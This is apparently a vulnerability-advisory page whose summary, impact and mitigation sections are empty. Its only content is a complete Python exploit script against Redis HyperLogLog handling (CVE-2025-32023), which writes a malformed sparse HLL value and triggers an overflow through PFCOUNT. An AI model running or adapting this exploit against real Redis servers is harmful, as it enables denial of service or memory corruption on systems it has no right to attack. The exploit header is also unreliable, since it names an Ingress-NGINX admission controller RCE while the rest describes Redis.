Technical Summary

Potential Impact

Mitigation Recommendations

Indicators of Compromise

• exploit-code: # Exploit Title: Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE # Date: 2025-10-07 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://redis.io/ # Software Link: https://redis.io/ # Version: Affects :>= 8.0.0, < 8.0.3 # Tested on: Ubuntu 22.04 # CVE: CVE-2025-32023 import redis import sys # --- Configuration --- REDIS_HOST = 'localhost' REDIS_PORT = 6379 REDIS_KEY = 'hll:exp' # HLL encoding type (1 = sparse) HLL_SPARSE = 1 def p8(value): """Convert integer to single byte.""" return bytes([value]) def xzero(size): """ Construct an 'xzero' run for sparse HLL: Creates a run-length encoding entry of zeroes with a specific size. """ if not (1 <= size <= 0x4000): raise ValueError("Invalid xzero size: must be between 1 and 0x4000") size -= 1 return p8(0b01_000000 | (size >> 8)) + p8(size & 0xff) def build_malformed_hll(): """ Construct a malformed HLL payload that overflows internal counters. """ payload = b'HYLL' # Magic header payload += p8(HLL_SPARSE) # Encoding type: sparse payload += p8(0) * 3 # Reserved payload += p8(0) * 8 # Unused (padding) assert len(payload) == 0x10 # Check header size # Append enough xzero runs to cause overflow payload += xzero(0x4000) * 0x20000 # == -0x80000000 when cast to signed int # Add one more run to complete the structure payload += p8(0b11111111) # Runlen=4, regval=0x20 (but malformed) return payload def main(): try: print(f"[*] Connecting to Redis at {REDIS_HOST}:{REDIS_PORT}...") r = redis.Redis(REDIS_HOST, REDIS_PORT) print("[*] Building malformed HyperLogLog payload...") hll_payload = build_malformed_hll() print(f"[*] Writing malformed HLL to key: {REDIS_KEY}") r.set(REDIS_KEY, hll_payload) print("[*] Triggering HLL merge operation (pfcount)...") r.pfcount(REDIS_KEY, REDIS_KEY) print("[+] Exploit triggered successfully.") except Exception as e: print(f"[!] Exploit failed: {e}") sys.exit(1) if __name__ == "__main__": main()